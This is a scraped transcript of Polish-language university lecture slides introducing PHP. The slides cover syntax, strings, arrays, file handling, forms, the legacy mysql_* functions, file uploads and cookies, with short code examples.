Pobieranie prezentacji. Proszę czekać

Pobieranie prezentacji. Proszę czekać

Narzędzia internetowe Paweł Rajba

Podobne prezentacje


Prezentacja na temat: "Narzędzia internetowe Paweł Rajba"— Zapis prezentacji:

1 Narzędzia internetowe Paweł Rajba pawel@ii.uni.wroc.pl http://pawel.ii.uni.wroc.pl/

2 PHP – Wprowadzenie Akronim rekursywny "PHP: Hypertext Preprocessor" Tworzonym na zasadach Open Source Dostępny jako moduł lub CGI pod wieloma platformami: Unix, Linux, Windows, MacOS z wieloma serwerami HTTP: Apache, IIS, iPlanet, Xitami, OmniHTTPd

3 PHP – Wprowadzenie Język skryptowy uruchamiany po stronie serwera (ewentualnie po stronie klienta) Możliwość zagnieżdżania znaczników HTML PHP może generować dowolny kod, czyli poza HTML np. XML lub nawet obrazki

4 PHP – Pierwszy przykład Przykładzik

5 PHP – sposoby użycia Skrypty po stronie serwera serwer WWW parser PHP przeglądarka Skrypty z linii poleceń parser PHP zastosowanie do przetwarzania tekstu uruchamiane w cronie lub menedżerze zadań Aplikacje po stronie klienta (np. PHP-GTK)

6 PHP i bazy danych Adabas D Ingres Oracle (OCI7 i OCI8) dBase InterBase Ovrimos Empress FrontBase PostgreSQL FilePro mSQL SolidHyperwave Direct MS-SQL Sybase IBM DB2 MySQL Velocis Informix ODBC Unix dbm

7 PHP – osadzanie skryptów echo "Można też tak";

8 PHP – kilka uwag Instrukcje należy kończyć średnikiem PHP poza trybem "PHP" przepisuje tekst bez zmian Komentarze //, # – jednowierszowe /*... */ – blokowe

9 PHP – zmienne Zmienne są dynamicznie typowane Poprzedzamy znakiem $ W nazwach małe i wielkie litery są rozróżniane <? $Imie = "Jas"; $imie = " Marysia"; $Nazwisko = " Rozpita"; echo $Imie, $imie, $Nazwisko; ?>

10 PHP – zmienne Przypisanie przez referencję: <? $halasuje = "Zmyłer"; $sondaze = &$halasuje; $sondaze = "Pepler"; echo $halasuje." i prowadzi ".$sondaze; ?> Tylko nazwane wyrażenia mogą być przypisane przez referencję // ŹLE

11 PHP – funkcje do zmiennych get_defined_vars get_resource_type doubleval floatval strval is_array is_bool is_callable is_double is_float is_int is_integer is_long is_numeric is_object is_real is_resource is_scalar is_string is_null print_r settype serialize unserialize isset unset

12 PHP – stałe Definiujemy za pomocą funkcji define() bool define(string nazwa, mixed wartość [, bool case_insensitive]) <? define(STALA,"Ahoj!!!"); echo Stala; // Stala define(STALA,"Ahoj!!!",true); echo Stala; // Ahoj!!! ?>

13 PHP – stałe Sprawdzamy czy zdefiniowana za pomocą funkcji defined() bool defined (string nazwa_stalej) <? define(STALA,"Ahoj!!!",true); echo(defined('Stala') ? "Jest" : "Nie jest"); ?>

14 PHP – stałe Funkcja mixed constant(string name) pobiera wartość stałej Funkcja array get_defined_constants() pobiera tablicę stałych <? print_r(get_defined_constants()); ?>

15 PHP – typy danych Skalarne boolowski: boolean liczby całkowite: integer liczby zmiennoprzecinkowe: float łańcuchy znaków: string

16 PHP – typy danych Złożone tablice: array obiekty: object Specjalne identyfikatory zasobów: resource puste: null

17 PHP – typy danych Boolowski: TRUE,FALSE Liczby całkowite: 1234,-123,0123,0xABC Liczby zmiennoprzecinkowe: 1.2,3E-2 Łańcuchy znaków pojedyncze cudzysłowy podwójne cudzysłowy składnia heredoc

18 PHP – więcej o napisach Podwójne cudzysłowy powoduje zamianę nazwy zmiennej na jej wartość Znaki specjalne: \n, \r, \t, \\, \$, \" Składnia heredoc $s = <<<EOD To jest taki sobie\n napis żeby było EOD; Offset: $s{0}, $s[5]

19 PHP – przykłady echo 'Tekst' echo 'To jest \'cytat\' stulecia' echo 'Taki "\'c\'u\'ś\'" inny' echo 'Tak \n nie zadziała' $zmienna = "papier" echo "$zmienna" echo "${zmienna}owe torebki"

20 PHP – tablice Konstruktor array array( [klucz =>] wartość,...) klucz – napis lub nieujemna liczba całkowita wartość – cokolwiek Przypisywanie wartości $tablica[klucz] = wartość; $arr[] = wartość; // kluczem będzie kolejna liczba

21 PHP – tablice Usuwanie pary (klucz, wartość) $a = array(1 => 'jeden', 2 => 'dwa', 3 => 'trzy' ); unset($a[2]); /* to tak, jakby utworzyć tablicę: $a = array(1 => 'jeden', 3 => 'trzy'); ale NIE: $a = array(1 => 'jeden', 2 => 'trzy'); */

22 PHP – tablice $wypasiona_zmienna = array( "owoce" => array("a" => "pomarańcza", "b" => "banan", "c" => "jabłko"), "liczby" => array(1,2,3,4,5,6), "dziury" => array( "pierwsza", 5 => "druga", "trzecia") ); $x = $wypasiona_zmienna['dziury'][5];

23 PHP – obiekty <?php class kasa{ function rabuj() { echo "Rabujemy kase..."; } $bzwbk = new kasa(); $bzwbk->rabuj(); ?>

24 PHP – if, else, elseif 5) { $answ = $var1; } else { $answ = $var2; } ?> $answ = ( $var > 5 ? $var1 : $var2 );

25 PHP – if, else, elseif <?php if (wyrazenie-logiczne) { ?> prawda <?php } else { ?> fałsz <?php } ?>

26 PHP – if, else, elseif if ($a > $b) { print "a jest większe niż b"; } elseif ($a == $b) { print "a jest równe b"; } else { print "a jest mniejsze niż b"; } A jest równe 5

27 PHP – pętla while..do $i = 1; while ($i <= 10) { print $i++; } $i = 1; while ($i <= 10): print $i; $i++; endwhile;

28 PHP – pętla do..while $i = 0; do { print $i; } while ($i>0);

29 PHP – pętla for for ($i = 1; $i <= 10; $i++) { print $i; } for ($i = 1;;$i++) { if ($i > 10) break; print $i; } $i = 1; for (;;) { if ($i > 10) break; print $i++; } for ($i = 1; $i <= 10; print $i, $i++);

30 PHP – petla foreach foreach(tablica as $wartość) wyrażenie foreach(tablica as $klucz => $wartość) wyrażenie $a = array(1, 2, 3, 17); foreach ($a as $v) { print "Aktualna wartość \$a: $v. \n"; } foreach ($tabl as $key => $value) { echo "Klucz: $key; Wartość: $value \n"; }

31 PHP – petla foreach $a = array ( "jeden" => 1, "dwa" => 2, "trzy" => 3, "siedemnaście" => 17 ); foreach($a as $k => $v) { print "\$a[$k] => $v.\n"; }

32 PHP – petla foreach $a[0][0] = "a"; $a[0][1] = "b"; $a[1][0] = "y"; $a[1][1] = "z"; foreach($a as $v1) { foreach ($v1 as $v2) { print "$v2\n"; } foreach(array(1, 2, 3, 4, 5) as $v) { print "$v\n"; }

33 PHP – break, continue Break i continue akceptuje opcjonalny argument, który mówi, ile zagnieżdzonych struktur kontrolnych ma zostać opuszczonych w danym momencie $i=0; while (++$i) { for ($j=0; $j<10; $j++) if ($i*$j==12) break 1; if ($i*$j==69) break 2; }

34 PHP – switch <? switch ($i): case 0: print "i jest równe 0"; break; case 1: print "i jest równe 1"; break; default: print "i jest różne od 0 i 1"; endswitch; ?>

35 PHP – switch <? $imie = 'ala'; switch ($imie) { case 'ala': echo "ma kota"; break; case 'zuzia': echo "nic nie ma"; break; default: echo "reszta się nie liczy"; } ?>

36 PHP – return,... Instrukcja return(): wywołana z wnętrza funkcji, natychmiastowo kończy wykonywanie tej funkcji i zwraca jako jej wartość swój argument. Składnia alternatywna: dostępna dla poleceń if, while, for, foreach i switch. Polega na zamianie nawiasu otwierającego { na dwukropek, a nawiasu zamykającego } na słowo endif, endwhile, endfor, endforeach i endswitch odpowiednio.

37 PHP – zewnętrzne pliki Instrukcje include() require() include_once() require_once() Czym to się różni?

38 PHP – zewnętrzne pliki vars.php <?php $kolor = 'zielone'; $owoc = 'jabłko'; ?> test.php <?php echo "Jedno $kolor $owoc"; // Jedno include 'vars.php'; echo "Jedno $kolor $owoc"; // Jedno zielone jabłko ?>

39 PHP – obsługa napisów void echo string s1 [, string sn...] wypisuje s1,..., sn echo "ala","ma kota" string ltrim(string str [, string charlist]) usuwa białe znaki z początku str; opcjonalnie można podać w charlist jakie znaki ma usunąć domyślnie usuwa: " ", "\t", "\n", "\r", "\0", "x0B" (ASCII: 32, 9, 10, 13, 0, 13)

40 PHP – obsługa napisów string rtrim(string str [, string charlist]) usuwa białe znaki z końca str string trim(string str [, string charlist]) usuwa białe znaki z obu stron str string chr(int ascii) zwraca string zawierający znak o kodzie określonym w ascii int ord(string str) zwraca kod pierwszego znaku z str

41 PHP – obsługa napisów int strcmp(string str1, string str2) jeśli str1<str2, to zwraca -1 jeśli str1>str2, to zwraca 1 jeśli str1=str2, to zwraca 0 int strpos(string gdzie, string co [, int offset]) wyszukuje pierwszego wystąpienia co w gdzie jeśli co nie występuje w gdzie zwracane jest coś równoważne FALSE jeśli podamy offset, to wyszukiwanie rozpocznie się od pozycji określonej przez offset.

42 PHP – obsługa napisów funkcja strpos() – przykład $napis = 'abc'; $szukaj = 'a'; $pos = strpos($napis, $szukaj); if ($pos === false) { // WAŻNE echo "Nie znaleziono"; } else { echo "Znaleziono na pozycji $pos"; }

43 PHP – obsługa napisów int strrpos(string gdzie, char co) działa podobnie do strpos() tylko, że wyszukuje od prawej strony możemy wyszukiwać tylko pojedynczy znak int strlen(string s) zwraca długość s string strtolower(string str) zwraca str z powymienianymi wielkimi literami na małe

44 PHP – obsługa napisów string strtoupper(string str) zwraca str z powymienianymi małymi literami na wielkie string strstr(string str1, string str2) zwraca część str1 od pierwszego wystąpienia str2 $email = 'pawel@wp.pl'; $domena = strstr($email, '@'); echo $domena; // @wp.pl

45 PHP – obsługa napisów string substr(string str, int start [, int length]) zwraca length znaków str od pozycji start; domyślnie length jest do końca str echo substr("abcdef", 1); // "bcdef" echo substr("abcdef", 0, 4); // "abcd" echo substr("abcdef", 0, 8); // "abcdef" int substr_count(string str1, string str2) zwraca ilość wystąpień str2 w str1 echo substr_count("aaaaa","aa") // 2

46 PHP – obsługa napisów int substr_replace(string s1, string s2, int start [, int length]) wymienia w s1 część długości length i zaczynającą się w start na s2 echo substr_replace("Łosie mają w nosie","grają na",6,6); // Łosie grają na nosie

47 PHP – obsługa napisów array explode(string separator, string str [, int limit]) dzieli str względem separator jeśli ustawimy limit, to tablica wynikowa będzie zawierała co najwyżej limit elementów, w ostatnim resztę str $liczby = "1,23,32,44"; $tablica = explode(",", $liczby); echo $tablica[1]; // 23

48 PHP – obsługa napisów string implode(string glue, array pieces) tworzy string zawierający po kolei elementy z pieces rozdzielone glue $tab = array('osoba','email','tel'); $lista = implode(",", $array); echo $lista; // osoba,email,tel string strrev(string str) odwraca str echo strrev("Kilof"); // "foliK"

49 PHP – obsługa napisów string strip_tags(string str [, string dobre_tagi]) usuwa z str tagi HTML poza tymi określonymi w dobre tagi $s = strip_tags($string,' ') string wordwrap (string str [, int width [, string break [, boolean cut]]]) łamie str w białych znakach do długości width, słowem break jeśli chcemy przecinać za długie słowa, to cut ustawiamy na 1

50 PHP – obsługa napisów funkcja wordwrap() – przykład $text = "Bardzo długie i nie za fajne słooooooooooooooooooooowo"; $lepszytekst = wordwrap($text, 8, " \n"); echo "$newtext" Bardzo długie i nie za fajne słooooooooooooooooooooowo

51 PHP – obsługa napisów funkcja wordwrap() – przykład $text = "Bardzo długie i nie za fajne słoooooooooooooooooooowo"; $goodtekst = wordwrap($text,8," \n"); echo "$goodtext" Bardzo długie i nie za fajne słoooooooooooooooooooowo

52 PHP – obsługa napisów funkcja wordwrap() – drugi przykład $goodtext = wordwrap($text,8," \n",1); echo "$goodtext" Bardzo długie i nie za fajne słoooooo oooooooo oooooowo

53 PHP – obsługa napisów string addslashes (string str) dodaje znak "\" tam gdzie to jest potrzebne $str = "Is your name O'reilly?"; // Is your name O\'reilly? echo addslashes($str); string addcslashes (string str, string charlist) dodaje znak "\" przed każdy znak z charlist $text = "Ala ma kota"; echo addcslashes($text, "ma"); // Al\a \m\a kot\a

54 PHP – obsługa napisów string nl2br(string str) zwraca str z wstawionymi przed każdym "\n" string htmlspecialchars ( string string [, int quote_style [, string charset]]) wymienia znaki:, &, ", ' na ich kody: < > & " ' ' wymienia, jeśli włączone ENT_QUOTES " wymienia, jeśli wyłączone ENT_NOQUOTES

55 PHP – obsługa napisów string md5(string str) oblicza MD5 hash od str string md5_file (string filename [, bool raw_output]) oblicza MD5 hash pliku podanego jako parametr string bin2hex (string str) zamienia ciąg binarny na heksadecymalną reprezentację

56 PHP – obsługa plików int fopen(string nazwa, string tryb) otwiera plik lub URL nie są obsługiwane przekierowania (należy URL kończyć slaszem) tryby r – otwiera plik tylko do odczytu i ustawia wskaźnik na początku pliku r+ – otwiera plik do odczytu i zapisu oraz ustawia wskaźnik na początku pliku

57 PHP – obsługa plików tryby c.d. w – otwiera plik tylko do zapisu i ustawia wskaźnik na początku pliku; zawartość pliku jest usuwana lub jeśli plik nie istnieje to jest tworzony w+ – otwiera plik do odczytu i zapisu oraz ustawia wskaźnik na początku pliku; zawartość pliku jest usuwana lub jeśli plik nie istnieje to jest tworzony a – otwiera plik do zapisu; ustawia wskaźnik na końcu pliku; jeśli plik nie istnieje to jest tworzony a+ – otwiera plik do odczytu i zapisu; ustawia wskaźnik na końcu pliku; jeśli plik nie istnieje to jest tworzony

58 PHP – obsługa plików fopen – przykłady: $fp = fopen("/home/pawel/plik.txt", "r"); $fp = fopen("/home/pawel/img.jpg", "rb"); $fp = fopen("http://www.php.net/", "r"); $fp = fopen("ftp://jjs:tajne@wp.pl/", "w"); $fp = fopen("c:\\dane\\plik.txt", "r");

59 PHP – obsługa plików string fgetc(int fp) pobiera znak z wskaźnika pliku jeśli jest koniec pliku, to zwraca FALSE string fgets(int fp [, int długość]) pobiera linię z wskaźnika pliku możemy określić długość domyślna długość wiersza, to 1024 znaki jeśli jest koniec pliku, to zwraca FALSE

60 PHP – obsługa plików string fgetss(int fp, int długość [, string dozwolone_tagi]) pobiera linię ze wskaźnika pliku i usuwa tagi HTML i PHP $linia = fgetss($fp,4096," "); string fread(int fp, int długość) czyta z pliku binarnie do długość bajtów czytanie się kończy po odczytaniu długość bajtów lub po osiągnięciu końca pliku

61 PHP – obsługa plików mixed fscanf(int fp, string format) przetwarza dane z pliku wg formatu $fp = fopen("punkty.txt","r"); while ($row=fscanf($fp,"%s\t%d\n")) { // zrób coś z wartościami } fclose($fp); plik.txt: dziki200 łysy60 warzywo120

62 PHP – obsługa plików array fgetcsv(int fp, int długość [, string delimiter]) czyta linię w formacie CSV przetwarza i zwraca tablicę zawierającą odczytane pola domyślnym separatorem jest "," Przykład: $fp = fopen ("wiersz.csv","r"); $data = fgetcsv ($fp, 1000, ":"); for ($c=0; $c<count($data); $c++) { print $data[$c]."|"; } fclose ($fp);

63 PHP – obsługa plików int fwrite(int fp, string napis [, int length]) zapisuje do wskaźnika pliku można określić długość fwrite($fp,"ząbek"); fwrite($fp,"ząbek"); // będą zapisane obok siebie int fputs(int fp, string str [, int długość]) alias do funkcji fwrite bool fclose(int fp) zamyka otwarty wskaźnik pliku i zwraca TRUE lub FALSE

64 PHP – obsługa plików int copy(string źródło, string przeznaczenie) kopiuje plik jeśli plik docelowy istnieje, to zostanie nadpisany Przykład: if (!copy($file, $file.'.bak')) { print ("Błąd przy kopiowaniu. \n"); } bool rename(stara_nazwa, nowa_nazwa) zmienia nazwę pliku rename("c:\\plik1.txt","c:\\plik2.txt");

65 PHP – obsługa plików int unlink(string nazwa_pliku) kasuje plik zwraca TRUE lub FALSE w przypadku braku pliku pojawi odpowiednie ostrzeżenie bool file_exists(string nazwa_pliku) sprawdza, czy plik istnieje int filesize(string nazwa_pliku) zwraca rozmiar pliku w bajtach

66 PHP – obsługa plików int ftruncate(int fp, int rozmiar) przycina plik fp do podanego rozmiaru int mkdir(string pathname, int mode) tworzy katalog jeżeli istnieje, to pojawi się odpowiednie ostrzeżenie mkdir("/path/to/my/dir", 0700); bool rmdir( string dirname) usuwa katalog jeżeli katalogu nie ma, to pojawi się odpowiednie ostrzeżenie

67 PHP – obsługa plików string dirname(string ścieżka) zwraca ścieżkę podanego pliku print dirname("c:\\xxx\\plik.txt"); // zwróci c:\xxx bool is_dir(string nazwa) mówi o tym, czy nazwa jest katalogiem bool is_file(string nazwa) mówi o tym, czy nazwa jest zwykłym plikiem

68 PHP – obsługa plików array pathinfo(string path) zwraca informację o path <?php $p = pathinfo("/www/htdocs/index.html"); echo $p["dirname"]." \n"; echo $p["basename"]." \n"; echo $p["extension"]." \n"; ?> /www/htdocs index.html html

69 PHP – obsługa plików int fseek(resource handle, int offset [, int whence]) ustawia kursor na odpowiedniej pozycji w pliku opcję whence można ustawić na SEEK_SET – ustawia kursor na pozycji równej dokładnie offset (domyślne) SEEK_CUR – ustawia kursor na pozycji bieżąca+offset SEEK_END – ustawia kursor na pozycji koniec pliku+offset fseek($fp,-2,SEEK_END); // na dwa znaki od końca

70 PHP – obsługa plików bool rewind(fp) ustawia kursor na początku pliku int ftell(fp) zwraca pozycję kursora w pliku string tempnam(string dir, string prefix) tworzy plik tymczasowy w katalogu dir o unikalnej nazwie zaczynającej się od prefix

71 PHP – obsługa plików Przykład: pliki.html, punkty.txt

72 PHP – formularze Jak to działa? Tablice zawierające przesłane dane $_POST[ ] ($HTTP_POST_VARS[ ]) $_GET[ ] ($HTTP_GET_VARS[ ]) Przykład: login.php, gratulacje.html Skalarne i wielowartościowe elementy formularza – przykład: dane.php

73 PHP – formularze Kontrola poprawności danych formularza za pomocą wyrażeń regularnych za pomocą kontroli typów

74 PHP – wyrażenia regularne Wyrażenia regularne ereg – sprawdza dopasowanie do wyrażenia bool ereg(string pattern, string string [, array regs]) eregi – j.w., tylko funkcja jest case insensitive ereg_replace – wymienia wyrażenie regularne string ereg_replace ( string pattern, string replacement, string string) eregi_replace – j.w., tylko funkcja jest c. i.

75 PHP – wyrażenia regularne Wyrażenia regularne split – dzieli napis na elementy rozdzielone przez wyrażenie regularne; zwraca tablicę tych elementów array split(string pattern, string string [, int limit]) spliti – j.w., tylko funkcja jest c.i. Przykład: regexp.php

76 PHP – obsługa MySQL resource mysql_connect( [string serwer [,string użytkownik [,string hasło]]]) łączy z bazą danych domyślnie serwer: "localhost:3306" użytkownik: user będący właścicielem procesu MySQL hasło: ""

77 PHP – obsługa MySQL int mysql_create_db(string nazwa_bazy [, resource identyfikator_połączenia]) tworzy bazę danych bool mysql_select_db(string nazwa_bazy [, resource identyfikator_połączenia]) wybiera bazę danych

78 PHP – obsługa MySQL resource mysql_query(string zapytanie [, resource identyfikator_połączenia [, int typ_wyniku]]) wykonuje zapytanie zwracając zasoby zapytania nie powinno się kończyć średnikiem typ_wyniku może przyjmować następujące wartości: MYSQL_USE_RESULT MYSQL_STORE_RESULT (domyślne, wynik jest buforowany)

79 PHP – obsługa MySQL resource mysql_unbuffered_query(string zapytanie [, resource identyfikator_połączenia [, int typ_wyniku]]) wysyła zapytanie nie pobierając i buforując wyniku ma znaczenie przy zapytaniu generującemu duże wyniki; znacznie oszczędza pamięć nie trzeba czekać na zakończenie zapytania; można od razu pracować na pierwszej krotce nie można użyć funkcji mysql_num_rows() przed wysłaniem kolejnego zapytania należy pobrać wszystkie wiersze.

80 PHP – obsługa MySQL int mysql_insert_id([resource id_połączenia]) podaje numer ID wygenerowany przez auto_increment podczas ostatniej operacji INSERT <?php mysql_connect('localhost', 'user', 'pass') or die('Nie można się połączyć'); mysql_select_db('test'); mysql_query("INSERT INTO osoba(imie,nazwisko,...) values ('Paweł','Rajba',...)"); printf("Ostatnio dodany rekord ma id %d\n", mysql_insert_id()); ?>

81 PHP – obsługa MySQL array mysql_fetch_array(resource wynik [, int typ_wyniku]) zapisuje wiersz wyniku w tablicy asocjacyjnej lub zwraca null gdy nie ma więcej wierszy typ_wyniku MYSQL_ASSOC MYSQL_NUM MYSQL_BOTH (domyślne, zwraca tablicę asocjacyjną i indeksowaną numerycznie)

82 PHP – obsługa MySQL array mysql_fetch_assoc(resource wynik) równoważne mysql_fetch_array( _, MYSQL_ASSOC) array mysql_fetch_row(resource wynik) równoważne mysql_fetch_array( _, MYSQL_NUM) bool mysql_free_result(resource wynik) zwraca całą pamięć przydzieloną wynikowi

83 PHP – obsługa MySQL string mysql_error([resource id_połączenia]) zwraca tekst komunikatu z ostatnio wykonanej operacji int mysql_errno([resource id_połączenia]) zwraca numer komunikatu błędu z ostatnio wykonanej operacji bool mysql_close([resource id_połączenia]) zamyka połączenie z serwerem

84 PHP – obsługa MySQL int mysql_num_rows(resource wynik) zwraca liczbę wierszy w wyniku stosuje się do polecenie SELECT int mysql_affected_rows([resource conn_id]) zwraca liczbę przetworzonych wierszy stosuje się do poleceń UPDATE, INSERT, DELETE jeżeli DELETE zostanie wywołany bez klauzuli WHERE, to wtedy funkcja zwróci wartość 0

85 PHP – obsługa MySQL bool mysql_data_seek( resource identyfikator_wyniku, int numer_wiersza) przesuwa wewnętrzny wskaźnik do pozycji numer_wiersza array mysql_fetch_lengths(resource wynik) pobiera długość każdego pola pobranego za pomocą funkcji mysql_fetch_row (muszą być numerki)

86 PHP – obsługa MySQL mysql_fetch_lengths – przykład: <?php... $row = mysql_fetch_array($result,MYSQL_BOTH); $len = mysql_fetch_lengths($result); print $row["id"]." "; print $row["name"]." "; print $row["salary"]." \n"; print $len[0]." ".$len[1]." ".$len[2]." \n";... ?>

87 PHP – obsługa MySQL string mysql_field_table( resource wynik, int ofset_pola) pobiera nazwę tabeli w której znajduje się dane pole może mieć znaczenie przy złączeniach int mysql_num_fields(resource wynik) zwraca liczbę pól w wyniku string mysql_field_name( resource wynik, int indeks_pola) podaje nazwę danego pola w wyniku

88 PHP – obsługa MySQL string mysql_field_type( resource wynik, int ofset_pola) pobiera typ podanego pola (int, real, string,...) int mysql_field_len( resource wynik, int ofset_pola) zwraca długość podanego pola resource mysql_list_fields(string baza, string tabela [, resource identyfikator_połączenia]) zwraca informację o polach

89 PHP – obsługa MySQL mysql_list_fields – przykład <?php... $fields = mysql_list_fields('test','emp', $link); $columns = mysql_num_fields($fields); for ($i = 0; $i < $columns; $i++) { echo mysql_field_name($fields, $i).":"; echo mysql_field_type($fields, $i).":"; echo mysql_field_len($fields, $i)." \n"; }... ?> //id:int:11 //name:string:20 //salary:int:11

90 PHP – obsługa MySQL resource mysql_list_tables(string baza [, resource identyfikator_połączenia]) pobiera nazwy tabel z baza string mysql_tablename(resource wynik, int i) pobiera nazwę i-tej tabeli z wyniku funkcji mysql_list_tables

91 PHP – obsługa MySQL Przykład: <?php... $result = mysql_list_tables('test'); while ($row = mysql_fetch_row($result)) { printf ("Tabela: %s\n",$row[0]); } for ($i=0; $i<mysql_num_rows($result); $i++) { printf ("Tabela:%s\n", mysql_tablename($result,$i)); }... ?>

92 PHP – obsługa MySQL Przykład: tabela.php, bazooka.php

93 PHP – wysyłanie plików z formularza Kilka różnic między zwykłym formularzem, a takim do wysłania pliku: należy obowiązkowo umieścić w znaczniku form atrybut enctype="multipart/form-data" powinien się również pojawić element input z type="file" możemy też umieścić element taki jak określi on maksymalny akceptowany rozmiar pliku; musi być przed input...file

94 PHP – wysyłanie plików z formularza Dyrektywy w pliku php.ini file_uploads = On | Off włącza/wyłącza możliwość uploadowania plików upload_tmp_dir = ścieżka określa tymczasowy katalog w którym będą składowane pobrane pliki; domyślnie nie jest to ustawione – rolę takiego katalogu pełni tymczasowy katalog w systemie (np. C:\Windows\Temp )

95 PHP – wysyłanie plików z formularza Dyrektywy... c.d. upload_max_filesize = rozmiar maksymalny akceptowany rozmiar uploadowanego pliku (domyślnie 2MB) post_max_size = rozmiar maksymalny akceptowany rozmiar przesyłanego formularza (domyślnie 8M)

96 PHP – wysyłanie plików z formularza Po wysłaniu, dostępne są następujące zmienne: $_FILES["plik"]["name"] – oryginalna nazwa pliku po stronie klienta $_FILES["thefile"]["type"] – typ zawartości wysłanego pliku $_FILES["thefile"]["size"] – rozmiar wysłanego pliku $_FILES["thefile"]["tmp_name"] – nazwa pliku przesłanego na serwer $_FILES["thefile"]["error"] – kod błędu

97 PHP – wysyłanie plików z formularza Kody błędów, które mogą się pojawić przy wysyłaniu plików z formularza: UPLOAD_ERR_OK (kod 0) – operacja zakończyła się sukcesem UPLOAD_ERR_INI_SIZE (kod 1) – plik przekracza rozmiar określony dyrektywą upload_max_filesize w pliku php.ini

98 PHP – wysyłanie plików z formularza Kody błędów... c.d. UPLOAD_ERR_FORM_SIZE (kod 2) – plik przekracza rozmiar określony dyrektywą z formularza MAX_FILE_SIZE UPLOAD_ERR_PARTIAL (kod 3) – plik pobrany częściowo UPLOAD_ERR_NO_FILE (kod 4) – nie pobrano żadnego pliku

99 PHP – wysyłanie plików z formularza Funkcje przydatne przy wysyłaniu plików z formularza bool is_uploaded_file(string nazwa_pliku) – upewnia nas, że plik faktycznie został przysłany metodą POST, a skrypt nie będzie pracował na plikach których nie powinien bool move_uploaded_file(string plik, string destination) – po sprawdzeniu, że plik został przysłany metodą POST jest on przenoszony do nowej lokalizacji

100 PHP – wysyłanie plików z formularza Wysyłanie wielu plików Przykład: pliki.php

101 PHP – funkcje do obsługi tablic array array_count_values(array wejście) zwraca tablicę z elementami i ich częstością występowania w tablicy wejście (p) array array_diff(array t1, array t2 [, array...]) zwraca tablicę, której elementami są te elementy t1, które nie występują w pozostałych argumentach (p) array array_fill(int start, int ile, mixed wartość) wypełnia tablicę podanymi wartościami (p)

102 PHP – funkcje do obsługi tablic array array_filter(array wejście [, callback funkcja_zwrotna]) zwraca tablicę elementów z wejście, dla których funkcja_zwrotna zwróci TRUE (p) array array_flip(array trans) dla każdego elementu tablicy wymienia klucz z odpowiadającą mu wartością (p) array array_intersect(array t1, array t2 [, array...]) zwraca elementy z t1, które występuję we wszystkich pozostałych argumentach (p)

103 PHP – funkcje do obsługi tablic bool array_key_exists (mixed szukany, array tablica) sprawdza, czy szukany klucz jest w tablicy (p) array array_map(callback funkcja_zwrotna, array t1 [, array t2...]) wykonuje funkcje zwrotną na każdym elemencie t1; liczba argumentów funkcji zwrotnej powinna być równa ilości tablic (p)

104 PHP – funkcje do obsługi tablic array array_merge(array t1, array t2 [, array...]) łączy kilka tablic w jedną (p) mixed array_pop(array tablica) usuwa i zwraca ostatni element tablicy int array_push ( array tablica, mixed wartosc [, mixed...]) wstawia jeden więcej elementów na koniec tablicy

105 PHP – funkcje do obsługi tablic mixed array_rand(array wejście [, int ilość]) wybiera jeden lub więcej losowo wybranych elementów z tablicy (p) void shuffle(array tablica) tasuje elementy tablicy (p) array array_reverse(array wejście [, bool zachowaj_klucze]) odwraca kolejność elementów w tablicy (p)

106 PHP – funkcje do obsługi tablic mixed array_search(mixed igła, array stóg_siana [, bool ścisły]) szuka wartości w tablicy zwraca klucz znalezionego elementu lub NULL ścisły określa, czy mają być też porównywane typy elementów

107 PHP – funkcje do obsługi tablic mixed array_shift(array tablica) usuwa i zwraca pierwszy element tablicy array array_slice(array tablica, int przesunięcie [, int długość]) zwraca kawałek tablicy od przesunięcie, a długość to ilość zwróconych elementów jeśli przesunięcie jest ujemne, to sekwencja zacznie się o tyle elementów od końca jeśli długość jest ujemna, to sekwencja skończy się o tyle elementów od końca (p)

108 PHP – funkcje do obsługi tablic mixed array_sum(array tablica) oblicza sumę wartości elementów w tablicy array array_unique(array tablica) usuwa duplikaty wartości z tablicy int array_unshift ( array tablica, mixed wartość [, mixed...]) wstaw jeden lub więcej elementów na początek tablicy int count(mixed zmienna) zlicza ilość elementów w tablicy

109 PHP – funkcje do obsługi tablic mixed current(array tablica) zwraca wartość bieżącego elementu mixed next(array tablica) przesuwa wskaźnik o jeden do przodu zwraca element po przesunięciu lub FALSE, jeśli nie ma więcej elementów mixed prev(array tablica) przesuwa wskaźnik o jeden do tyłu zwraca element po przesunięciu lub FALSE, jeśli nie ma więcej elementów

110 PHP – funkcje do obsługi tablic mixed reset(array tablica) ustawia wskaźnik w tablicy na pierwszy element zwraca ten pierwszy element mixed end(array tablica) ustawia wskaźnik w tablicy na ostatni element zwraca ten ostatni element mixed key(array tablica) zwraca klucz bieżącego elementu tablicy asocjacyjnej

111 PHP – funkcje do obsługi tablic int sizeof(mixed zmienna) alias do funkcji count() mixed pos(array tablica) alias do funkcji current() array range(mixed dolny, mixed górny) tworzy tablicę elementów od dolny do górny włącznie jeśli górny<dolny, to sekwencja będzie do górnego do dolnego (p)

112 PHP – funkcje do obsługi tablic array each(array tablica) pobiera parę (klucz, wartość) bieżącego elementu w tablicy void list(mixed...) argumentom przypisuje kolejne elementy z przypisywanej tablicy (p)

113 PHP – funkcje do obsługi tablic void sort(array tablica [, int flagi]) sortuje tablice flagę można ustawić na SORT_REGULAR - porównuj elementy normalnie SORT_NUMERIC - porównuj elementy jako liczby SORT_STRING - porównuj elementy jako stringi (p)

114 PHP – funkcje do obsługi tablic void usort(array tablica, callback funkcja_por) sortuje tablicę porównując elementy funkcją zdefiniowaną przez użytkownika (p) void rsort(array tablica [, int flagi]) sortuje w porządku odwrotnych int ksort (array tablica [, int flagi]) sortuje tablicę względem kluczy zachowuje skojarzenia kluczy z danymi (p)

115 PHP i ciasteczka Co to są ciasteczka (cookie)? Jak to działa? Kwestia buforowania Tablica $_COOKIES[ ]

116 PHP i ciasteczka int setcookie(string nazwa [, string wartość [, int data_ważności [, string ścieżka [, string domena [, int bezpieczne]]]]]) nazwa – nazwa ciasteczka wartość – wartość ciasteczka

117 PHP i ciasteczka data_ważności – do kiedy ciasteczko jest aktualne; liczba zwracana przez time() lub mktime() ścieżka – specyfikuje URLe w domenie dla których ciastko jest dostępne domena – domena dla której ciasteczko będzie dostępne bezpieczne – określa, czy ciasteczko powinno być dostępne tylko za pomocą protokołu HTTPS

118 PHP i ciasteczka Kilka uwag dotyczących funkcji setcookie() niektóre argumenty można pominąć podając napisy puste dwóch ostatnich argumenty w powyższy sposób pominąć nie można ciasteczko może być usunięte tylko z takimi parametrami, z jakimi zostało usunięte ustawione cookie będą widoczne dopiero po przeładowaniu strony

